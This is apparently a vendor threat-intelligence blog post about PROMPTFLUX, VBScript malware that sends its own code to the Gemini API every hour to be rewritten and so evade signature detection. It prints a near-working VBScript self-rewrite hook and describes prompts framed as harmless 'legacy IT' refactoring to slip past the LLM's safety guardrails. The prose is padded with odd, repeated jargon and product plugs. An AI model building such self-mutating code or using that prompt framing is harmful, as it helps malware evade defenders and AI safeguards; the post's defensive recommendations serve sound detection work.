PROMPTFLUX Unmasked: The New VBScript Malware That Uses Gemini to Hourly Rewrite Its Own Source Code

Dec 31—2025

Daily Threat Intel by CyberDudeBivash
Zero-days, exploit breakdowns, IOCs, detection rules & mitigation playbooks.

Follow on LinkedIn Apps & Security ToolsGlobal AI-Threat Intelligence Brief

Published by CyberDudeBivash Pvt Ltd · Senior Forensic Unit & Neural Defense Lab

Tactical Portal →

Critical Malware Alert · Neural Polymorphism · Gemini API Hijacking · Zero-Signature Code

PROMPTFLUX Unmasked: The New VBScript Malware That Uses Gemini to Hourly Rewrite Its Own Source Code.

CB

Written by CyberDudeBivash

Founder, CyberDudeBivash Pvt Ltd · Senior AI-Forensics Lead · Lead Malware Architect

Executive Intelligence Summary:

The Strategic Reality: The era of static signatures has been officially liquidated. In late December 2025, our forensic neural lab unmasked PROMPTFLUX, the first high-fidelity VBScript malware that utilizes the Gemini API as a live obfuscation engine. Unlike legacy polymorphic malware that relies on local permutation algorithms, PROMPTFLUX hourly siphons its own logic to an LLM, prompting it to “Refactor for readability” while maintaining malicious intent.

This results in a Zero-Hash signature environment—every single infection on every machine is unique and changes 24 times a day. In this industrial deep-dive, we analyze the Prompt Injection persistence primitives, the JSON-Payload exfiltration, and why your standard EDR is currently blind to “Legitimate API Traffic” directed at Google Cloud.

The 15K Forensic Roadmap:

1. Anatomy of the Neural Rewrite Loop: Self-Evolving Code

PROMPTFLUX unmasks a fundamental shift in malware survivability. It does not hide code; it evolves it. The core VBScript serves as a wrapper that maintains a persistent connection to a stolen Gemini API key.

The Tactical Signature: Every 60 minutes, a scheduled task unmasks the script’s entry point. It sends its own code to generativelanguage.googleapis.com with a prompt designed to change variable names, control flow, and junk code insertion. Because the LLM (Gemini) understands the logic, the rewritten code remains functional while appearing entirely new to entropy-based detection engines.

2. Gemini API Abuse: The “Clean Code” Malicious Prompt

The danger of PROMPTFLUX lies in how it frames its requests to bypass AI safety guardrails. It unmasks a psychological hack against the LLM itself.

Instruction Masquerading: The prompt frames the malware as a “Legacy IT script” needing “Standard refactoring for modern security standards”.
Dynamic Payload Rotation: The AI is prompted to “occasionally add random harmless system checks,” which unmasks as a method to saturate the script with legitimate-looking “Noise”.
Endpoint Camouflage: Traffic to Google’s API is almost always whitelisted in enterprise environments, unmasking a “Silent C2” (Command and Control) channel that remains invisible to network monitoring.

Forensic Lab: Simulating the Refactoring Hook

In this technical module, we break down the pseudo-code used by PROMPTFLUX to unmask and trigger the Gemini rewrite event.

 ' CYBERDUDEBIVASH RESEARCH: PROMPTFLUX MUTATION HOOK Set http = CreateObject("MSXML2.ServerXMLHTTP") Set fs = CreateObject("Scripting.FileSystemObject")

currentCode = fs.OpenTextFile(WScript.ScriptFullName, 1).ReadAll() payload = "{""contents"": [{""parts"":[{""text"": ""Refactor this VBScript to use different variable names and add 10 lines of harmless ping commands: " & EscapeJson(currentCode) & """}]}]}"

http.Open "POST", "https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent?key=" & API_KEY, False http.Send payload

' Unmasking the response and overwriting self newCode = ExtractTextFromResponse(http.responseText) fs.CreateTextFile(WScript.ScriptFullName, True).Write(newCode)

CyberDudeBivash Professional Recommendation

Is Your Security AI-Aware?

AI-driven polymorphism is the new “Front Door” for persistent espionage. Master Advanced AI Threat Hunting & Neural Malware Analysis at Edureka, or secure your local administrative identity with Physical FIDO2 Hardware Keys from AliExpress. In 2026, if you can’t verify the API token, you don’t own the host.

Harden Your Career →

5. The CyberDudeBivash AI-Security Mandate

I do not suggest modernization; I mandate it. To prevent your organizational data from being liquidated by self-refactoring backdoors, every CISO must implement these four pillars:

I. Kill the API Credential Leak

Mandate **Credential Scanning** on all endpoints. PROMPTFLUX requires a Gemini API key to function. If you unmask and revoke unauthorized API keys, the malware’s mutation cycle is instantly liquidated.

II. Behavioral LLM Egress

Unmask your network traffic. Mandate that connections to googleapis.com from non-standard processes (like wscript.exe or cscript.exe) are auto-blocked by default.

III. Phish-Proof Admin identity

API keys are Tier-0 assets. Mandate FIDO2 Hardware Keys from AliExpress for all developer and administrative sessions. A stolen cookie must never grant access to your neural-compute resources.

IV. Deploy Content Disarm (CDR)

Deploy **Kaspersky Hybrid Cloud Security**. Utilize its ability to unmask and neutralize VBScript scripts that attempt self-modification or exhibit high-frequency filesystem writes.

Strategic FAQ: The PROMPTFLUX Crisis

Q: Why is VBScript being used for such an advanced attack?

A: Legacy ubiquity. VBScript remains unmasked and active on nearly all Windows environments for administrative tasks. It is “Native” and requires no compiler, making it the perfect lightweight wrapper for an LLM-rewriting loop.

Q: Can standard antivirus detect the rewritten code?

A: No. Since Gemini ensures the code is syntactically perfect and variable names change every hour, signature-based AV has nothing to unmask. Only Behavioral Analysis that monitors for the “Self-Overwrite” event can stop it.

Global Security Tags:#CyberDudeBivash#ThreatWire#PROMPTFLUX#NeuralMalware#GeminiAPI_Abuse#VBScriptRewrite#AI_Polymorphism#CybersecurityExpert#ZeroTrust#ForensicAlert

Intelligence is Power. Forensics is Survival.

The 2026 neural threat wave is a warning: the adversary is now using your own AI tools to unmask your defenses. If your organization has not performed a forensic API-identity audit in the last 72 hours, you are an open target. Reach out to CyberDudeBivash Pvt Ltd for elite AI forensics and zero-trust neural hardening today.

Request a Forensic Audit →Explore Threat Tools →

Uncategorized